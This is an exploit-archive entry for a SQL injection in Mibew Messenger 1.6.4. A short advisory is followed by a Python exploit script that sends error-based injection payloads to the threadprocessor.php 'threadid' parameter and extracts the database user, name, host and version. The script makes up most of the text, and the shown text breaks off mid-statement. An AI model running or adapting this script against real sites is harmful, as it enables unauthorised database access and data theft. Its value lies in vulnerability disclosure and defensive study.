Mibew Messenger 1.6.4 – ‘threadid’ SQL Injection
source: https://www.securityfocus.com/bid/54857/info Mibew Messenger is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query. A successful exploit may allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database. Mibew Messenger 1.6.4 is vulnerable; other versions may also be affected. #!/usr/bin/python #Author: Ucha Gobejishvili #Timeline: 2012-08-05 Bug Discovered # 2012-08-05 Public Disclosured #Vendor: Mibew Web Messenger (http://mibew.org/ ) #Version: Mibew Messenger 1.6.4 #Demo: http://demo.mibew.org #Introduction: #Mibew Messenger (also known as Open Web Messenger) is an open-#source live support application written in PHP and MySQL. It #enables one-on-one chat assistance in real-time directly from #your website. #Abstract: #Discovered SQL injection Vulnerabilities on the Mibew Messenger #v.1.6.4. A SQL Injection vulnerability is detected on the Mibew #Messenger v.1.6.4 The vulnerabilities allows an remote attacker #to execute own sql commands on the affected applicationdbms. #Successful exploitation can result in dbms, web-server or #application compromise. # python Mibew.py -p localhost:8080 -t localhost:8500 -d /Patch/ import sys, httplib, urllib2, urllib, re from optparse import OptionParser usage = "./%prog [<options>] -t [target] -d [directory]" usage += "\nExample: ./%prog -p localhost:8080 -t localhost:8500 -d /coldcal/" parser = OptionParser(usage=usage) parser.add_option("-p", type="string",action="store", dest="proxy", help="HTTP Proxy <server:port>") parser.add_option("-t", type="string", action="store", dest="target", help="The Target server <server:port>") parser.add_option("-d", type="string", action="store", dest="directory", help="Directory path to the CMS") (options, args) = parser.parse_args() def banner(): print "\n\t| ----------------------------------------------------------- |" print "\t| Mibew Web Messenger SQL Injection Vulnerability|" print "\t| |\n" if len(sys.argv) < 5: banner() parser.print_help() sys.exit(1) def getProxy(): try: pr = httplib.HTTPConnection(options.proxy) pr.connect() proxy_handler = urllib2.ProxyHandler({'http': options.proxy}) except(socket.timeout): print "\n(-) Proxy Timed Out" sys.exit(1) except(),msg: print "\n(-) Proxy Failed" sys.exit(1) return proxy_handler def setTargetHTTP(): if options.target[0:7] != 'http://': options.target = "http://" + options.target return options.target def getRequest(exploit): if options.proxy: try: proxyfier = urllib2.build_opener(getProxy()) check = proxyfier.open(options.target+options.directory+exploit).read() except urllib2.HTTPError, error: check = error.read() except socket.error: print "(-) Proxy connection failed" sys.exit(1) else: try: req = urllib2.Request(options.target+options.directory+exploit) check = urllib2.urlopen(req).read() except urllib2.HTTPError, error: check = error.read() except urllib2.URLError: print "(-) Target connection failed, check your address" sys.exit(1) return check basicInfo = {'user: ':'user_name()', 'name: ':'db_name()', 'hostname: ':'host_name()','version: \n\n\t':'@@version'} def basicSploit(info): return "/operator/threadprocessor.php?threadid=1+and+1=convert(int," + info + ")--" if __name__ == "__main__": banner() options.target = setTargetHTTP() print "(+) Exploiting target @: %s" % (options.target+options.directory) if options.proxy: print "\n(+) Testing Proxy..." print "(+) Proxy @ %s" % (options.proxy) print "(+) Building Handler.." for key in basicInfo: getResp = getRequest(basicSploit(basicInfo[key])) if re.findall("the nvarchar value '", getResp): dbInfo = getResp.split('the nvarchar value '')[1].split('' to data type int')[0] print "\n(!)
